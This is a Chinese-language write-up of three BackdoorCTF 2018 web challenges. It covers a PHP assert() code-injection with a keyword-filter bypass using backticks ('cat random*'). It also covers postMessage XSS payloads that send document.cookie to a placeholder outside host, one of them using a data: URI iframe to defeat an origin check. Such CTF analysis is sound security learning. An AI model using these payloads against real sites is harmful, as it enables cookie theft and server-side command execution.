To begin with
跟着队友第一次打国外的BackdoorCTF,虽然这次的难度没有n1ctf高,但是对于XSS不太熟悉的我还是跑偏了...不过也多少学到了一点点东西。
bfcaptcha
题目描述中提到了验证码和版本控制,打开题目后发现:
一个brainfuck,一个音频,bf很轻松就解开了,下载了音频一直以为是一个misc题,毫无头绪,队友说把下面的数字填上去有变化,试了之后发现,0变为了1,然后数字提示消失了,无法进行下去了。
既然有次数计数,那必然要拿到源码进行分析,突然想到题目描述中的版本控制,加上.git后可以访问,于是下载下来整个仓库发现有一个index.php
<?php
session_start();
function get_question(){
$answer = array();
foreach(file("xxxxxxxxx") as $line) {
array_push($answer, trim($line));
}
$random_index = rand(0, 999);
$question = file_get_contents("xxxxxxxx/$random_index");
$_SESSION['quesans'] = $answer[$random_index];
return $question;
}
function bad_hacking_penalty(){
$_SESSION['count'] = 0;
}
function handle_invalid_captcha_ans(){
$_SESSION['count'] = 0;
}
function is_clean($input){
if (preg_match("/SESSION/i", $input)){//no seesion variable alteration
bad_hacking_penalty();
return false;
}
if (preg_match('/(base64_|eval|system|shell_|exec|php_)/i', $input)){//no coomand injection
bad_hacking_penalty();
return false;
}
if (preg_match('/(file|echo|die|print)/i', $input)){//no file access
bad_hacking_penalty();
return false;
}
if (preg_match("/(or|\|)/", $input)){//Be brave use AND
bad_hacking_penalty();
return false;
}
if (preg_match('/(flag)/i', $input)){//don't take shortcuts
bad_hacking_penalty();
return false;
}
//clean input
return true;
}
function random_string(){
$captcha_file = "xxxxxxxx";
$random_index = rand(0, 999);
$i = 1;
foreach(file($captcha_file) as $line) {
if ($i == $random_index) return $line;
$i++;
}
}
//current captcha to be verified against user input
$cur_captcha = $_SESSION['captcha'];
//set captcha for next try
$next_captcha = rtrim(random_string());
$_SESSION['captcha'] = $next_captcha;
$captcha_url = "xxxxxxxxx" . md5('xxxxxxxxxxxx' . $next_captcha);
$invalid_ans = 0;
$invalid_captcha = 0;
if (isset($_SESSION['count']) && isset($_POST['captcha']) && $_POST['captcha'] != ''){
$user_captcha = $_POST['captcha'];
if($cur_captcha === $user_captcha){
$user_ans = $_POST['answer'];
$real_ans = $_SESSION['quesans'];
if (is_clean($user_ans)){
(assert("'$real_ans' === '$user_ans'") and $_SESSION['count'] +=1) or (handle_invalid_captcha_ans() or $invalid_ans = 1);
}else{
die('Detected hacking attempt');
}
}else{
handle_invalid_captcha_ans();
$invalid_captcha = 1;
}
}else{
handle_invalid_captcha_ans();
}
if (!isset($_SESSION['count'])){
$_SESSION['count'] = 0;
}
?>
<html>
<head>
<title></title>
</head>
<body>
<div name="ques">
Can y0u print something out of this brain-fucking c0de?<br>
<?php echo htmlspecialchars(get_question());?>
</div>
<form method="post" action="index.php">
Answer: <input type="text" placeholder="Answer the question" name="answer"> <br><br>
<audio controls>
<source src=<?php echo $captcha_url;?> type="audio/mpeg">
</audio><br>
Captcha: <input type="text" placeholder="Enter the captcha " name="captcha">
<button type="submit">Submit</button>
</form>
<?php
if ($_SESSION['count'] == 0){
echo "e.g Type '" . $next_captcha ."' for the given captcha";
}
if ($_SESSION['count'] >= 500 ){
include 'xxxxxxxxxxxxxx';
echo $random_flag_name;
}else{
echo '<br>You\'ve made ' . ($_SESSION['count']) . ' correct answers';
}
if($invalid_ans){
echo '<br><b>Wrong Answer</b>';
}else if($invalid_captcha){
echo '<br><b>Wrong Captcha</b>';
}
?>
</body>
</html>
看了一遍源码后发现问题和验证码都是预置的,存在爆破的可能性,其他能够控制的位置只有
$user_captcha = $_POST['captcha'];
if($cur_captcha === $user_captcha){
$user_ans = $_POST['answer'];
$real_ans = $_SESSION['quesans'];
if (is_clean($user_ans)){
(assert("'$real_ans' === '$user_ans'") and $_SESSION['count'] +=1) or (handle_invalid_captcha_ans() or $invalid_ans = 1);
考虑到爆破处1000组验证码和时间长度,在发现assert后想到了一句话木马,加上is_clean函数的提示,其中必然存在代码执行。
在本地搭建环境测试后,确实可以代码执行,先尝试了phpinfo(),发现php版本为7.0,日志位置,目录位置,url open为on,disable function为大多数pcntl函数,没有其他的明显信息。
之后想到了根据过滤函数想到了var_dump和show_source,利用showsource拿到了index.php的源码(**部分)
<?php
session_start();
//current captcha to be verified against user input
$cur_captcha = $_SESSION['captcha'];
//set captcha for next try
$next_captcha = rtrim(random_string());
$_SESSION['captcha'] = $next_captcha;
$captcha_url = "gen_cap/" . md5('backdoor_ctf_2018_secret' . $next_captcha);
$invalid_ans = 0;
$invalid_captcha = 0;
if (isset($_SESSION['count']) && isset($_POST['captcha']) && $_POST['captcha'] != ''){
$user_captcha = $_POST['captcha'];
if($cur_captcha === $user_captcha){
$user_ans = $_POST['answer'];
$real_ans = $_SESSION['quesans'];
if (is_clean($user_ans)){
(assert("'$real_ans' === '$user_ans'") and $_SESSION['count'] +=1) or (handle_invalid_captcha_ans() or $invalid_ans = 1);
}
?>
<?php
if ($_SESSION['count'] >= 500 ){
include 'random_flag_file.php';
echo $random_flag_name;
}
?>
于是拿到了md5的salt和flag文件名,发现文件名被过滤。
(一直没想到多字符串拼接,惨..)
考虑代码执行写完件,发现web目录无法写入,权限不够,tmp目录可写,但是利用失败了。于是考虑命令执行读文件。
php命令执行的函数有exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号`,考虑到禁用函数,其他函数都可以使用,过滤了其中几个函数,但是利用反引号代替shell_exec可以绕过。
cat random*
,拿到了源码。
payload:number' and `cat random*`;#
其实,没这么麻烦,如果脑子没有短路想到了字符串拼接,直接在拿到flag文件名之后代码执行:
number' and show_source('random_fl'+'ag_fi'+'le.php');
refer:PHP代码审计笔记--命令执行漏洞
get hired
由于刚接触了dns rebind,思路跑偏了..
题目具体思路这几天继续分析,更新稍慢一些。
分析题目,主要发现profile可能存在XSS,还有一个提交URL的界面,另外就是flag segment。
尝试提交测试网址,收到了管理员的访问请求,HTTP报文没有任何提示,刚开始认为是DNS rebindding试了很久,结果失败了。后来发现home.php的源码中使用window.open打开了call.php,并使用了HTML5中的跨文档通信方法postMessage发送了消息,在call.php中我们找到了消息处理函数。
关于源的继承:来自about:blank,javascript:和data:URLs(本人此处存疑,烦请指点)中的内容,继承了将其载入的文档所指定的源,因为它们的URL本身未指定任何关于自身源的信息。
关于**postMessage**:otherWindow.postMessage(message, targetOrigin, [transfer]);
window.postMessage() 方法可以安全地实现跨源通信。通常,对于两个不同页面的脚本,只有当执行它们的页面位于具有相同的协议(通常为https),端口号(443为https的默认值),以及主机 (两个页面的模数 Document.domain设置为相同的值) 时,这两个脚本才能相互通信。window.postMessage() 方法提供了一种受控机制来规避此限制,只要正确的使用,这种方法就很安全。
window.postMessage() 方法被调用时,会在所有页面脚本执行完毕之后(e.g., 在该方法之后设置的事件、之前设置的timeout event等)向目标窗口派发一个 MessageEvent 消息。
想要单独总结一篇关于同源策略的博客,过几天补上。
## home.php
$("#audiocall").click(function(){
var call_window;
call_window = window.open("call.php");
setTimeout(function(){
call_window.postMessage({
type: "audio",
details: {
sender_username: "test",
sender_team_name: "test",
receiver_username: escapeHTML($("#r_call").val()),
receiver_team_name: escapeHTML($("#rteam_call").val())
}
}, "*");
}, 100);
});
$("#videocall").click(function(){
var call_window;
call_window = window.open("call.php");
setTimeout(function(){
call_window.postMessage({
type: "video",
details: {
sender_username: "test",
sender_team_name: "test",
receiver_username: escapeHTML($("#r_call").val()),
receiver_team_name: escapeHTML($("#rteam_call").val())
}
}, "*");
}, 100);
});
## call.js
function p(details){
document.getElementById('call_details').innerHTML = details.sender_username + " is calling " + details.receiver_username + " ....";
}
function d(payload){
var required = ["sender_username", "receiver_username", "sender_team_name", "receiver_team_name"];
for (var idx = 0; idx < required.length; idx++)
if (!payload[required[idx]] || "" === !payload[required[idx]]) {
return false;
}
return true;
}
function c(type, payload){
switch(type){
case "audio":
if (d(payload)){
p(payload);
}else console.log('err');
//
case "video":
if (d(payload)){
p(payload);
}
//
}
}
var messageHandler = function(event) {
if (event.data){
if (event.data.type) {
c(event.data.type, event.data.details);
}
}
}
window.addEventListener("message", messageHandler);
根据已有的内容,可以构造如下payload:
<html>
<script type="text/javascript">
var call_window;
call_window = window.open("http://localhost/call.php");
setTimeout(function(){
call_window.postMessage({
type: "audio",
details: {
sender_username: "<img src=xz: onerror=window.open('https://xxxx?a='+document.cookie)>",
sender_team_name: "xxx",
receiver_username: "test",
receiver_team_name: "test"
}
}, "*");
}, 1000);
</script>
</html>
get hired 2
在原有的基础上验证了源,具体见verifyorigin。
利用了data URI XSS无源的特性绕过源的验证。
首先EventListener得到event的源信息,包括protocol host port信息的字符串,如:http:// www.xmsec.cc:1234。通过赋值给a.href,用a.hostname得到www.xmsec.cc,同时与window.location.hostname(www.xmsec.cc)比较。
window可以监听派遣的message,message 的部分属性:
data
从其他 window 中传递过来的对象。
origin
调用 postMessage 时消息发送方窗口的 origin . 这个字符串由 协议、“://“、域名、“ : 端口号”拼接而成。例如 “https:// example.org (隐含端口 443)”、“http:// example.net (隐含端口 80)”、“http:// example.com:8080”。请注意,这个origin不能保证是该窗口的当前或未来origin,因为postMessage被调用后可能被导航到不同的位置。
当传来的源为null时,如下:
a.hostname未设置href,默认使用当前页面的host,从而绕过验证。
如何将设置为null呢?
var origin = document.origin;
// On this page, returns:'https://developer.mozilla.org'
var origin = document.origin;
// On "about:blank", returns:'null'
var origin = document.origin;
// On "data:text/html,foo", returns:'null'refer: https://developer.mozilla.org/zh-CN/docs/Web/API/Document/origin
某些情况下web应用会产生像about、javascript、data这样的伪协议创建无须服务器内容的HTML页面,这些页面的数据完全来自客户端。由于原始的同源策略没有考虑到这个场景,也就是完全不同的域创建的about:blank文档就属于同源的页面了。
使用data:text。
##call.js
function p(details){
document.getElementById('call_details').innerHTML = details.sender_username + " is calling " + details.receiver_username + " ....";
}
function d(payload){
var required = ["sender_username", "receiver_username", "sender_team_name", "receiver_team_name"];
for (var idx = 0; idx < required.length; idx++)
if (!payload[required[idx]] || "" === !payload[required[idx]]) {
return false;
}
return true;
}
function c(type, payload){
switch(type){
case "audio":
if (d(payload)){
p(payload);
}else console.log('err');
//
case "video":
if (d(payload)){
p(payload);
}
//
}
}
function verifyorigin(originHref) {
var a = document.createElement("a");
a.href = originHref;
return a.hostname == window.location.hostname
}
var messageHandler = function(event) {
if (event.data){
if(!verifyorigin(event.origin)){return;}
if (event.data.type) {
c(event.data.type, event.data.details);
}
}
}
window.addEventListener("message", messageHandler);
<html>
<iframe src="data:text/html,<script>var call_window;call_window = window.open('http://localhost/call.php');setTimeout(function(){
call_window.postMessage({
type: 'audio',
details: {
sender_username: "<img src=xz: onerror=window.open('https://xxxx?a='+document.cookie)>",
sender_team_name: 'zzzz',
receiver_username: 'test',
receiver_team_name: 'test'
}
}, '*');}, 1000);</script>"></iframe>
</html>
refer:
https://ctftime.org/writeup/9181
https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage
ajax和嵌套方法:
https://ctftime.org/writeup/9187
DIGILANT-ADMIN
https://phi0.github.io/2018/03/18/BackdoorCTF-2018-DIGILANT-ADMIN.html